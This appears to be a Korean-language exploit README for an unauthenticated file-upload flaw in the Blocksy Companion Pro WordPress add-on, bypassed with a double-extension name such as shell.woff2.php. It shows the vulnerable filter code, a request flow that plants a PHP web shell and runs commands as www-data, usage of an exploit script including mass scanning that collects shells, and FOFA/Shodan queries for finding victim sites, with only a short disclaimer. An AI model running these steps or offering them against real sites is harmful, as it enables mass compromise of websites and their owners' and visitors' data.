
CVE-2026-58480 / CVE-2026-15158 — Blocksy Companion Pro < 2.1.47의 비인증 RCE (30만+ 설치). 이중 확장자 우회를 통한 인증 전 임의 파일 업로드.
CVE-2026-58480(또한 CVE-2026-15158로 추적됨)은 Blocksy WordPress 테마의 프리미엄 애드온인 Blocksy Companion Pro < 2.1.47에서 발생하는 치명적인(CVSS 9.8) 인증되지 않은 임의 파일 업로드 취약점입니다(활성 설치 30만 개 이상).
Advanced Reviews 기능(WooCommerce Extra의 일부)의 save_attachments AJAX 핸들러는 인증 없이 파일 업로드를 허용합니다. Custom Fonts 확장 기능은 실제 파일 확장자가 아닌 .woff2 / .ttf에 대한 strpos() 부분 문자열 검사를 통해 업로드를 검증합니다. 공격자는 shell.woff2.php와 같은 이중 확장자 파일명으로 이를 우회합니다. .woff2가 부분 문자열 검사를 통과하고 .php가 서버에서 실행됩니다.
| 버전 | 상태 |
|---|---|
| < 2.1.47 | 취약 |
| 2.1.47+ | 패치됨 |
요구 사항: WooCommerce Extra(Advanced Reviews) 및 Custom Fonts 확장 기능이 활성화된 프리미엄 라이선스. 무료
blocksy-companion플러그인에는 취약한 코드 경로가 포함되어 있지 않습니다.
Custom Fonts 확장 기능은 PATHINFO_EXTENSION을 통한 실제 파일 확장자 확인 대신 strpos()(부분 문자열 일치)를 사용하여 파일명을 검증하는 wp_check_filetype_and_ext 필터를 등록합니다:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
Advanced Reviews의 save_attachments 함수는 표준 WordPress 업로드 처리를 호출하며, 이 처리가 해당 필터를 호출합니다. shell.woff2.php라는 파일은 .woff2가 부분 문자열로 존재하기 때문에 통과합니다. 필터는 이것이 최종 확장자인지 확인하지 않습니다.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| 파일 (Trac) | 라인 | 용도 |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | strpos() 검증 필터 |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php | 811 | save_attachments 핸들러 |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# 대상 핑거프린팅
python exploit.py -u https://target.com --check
# 전체 익스플로잇
python exploit.py -u https://target.com
# 대량 스캔
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_ext 필터이 익스플로잇은 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유자의 명시적 허가 없이 시스템을 대상으로 사용하지 마십시오.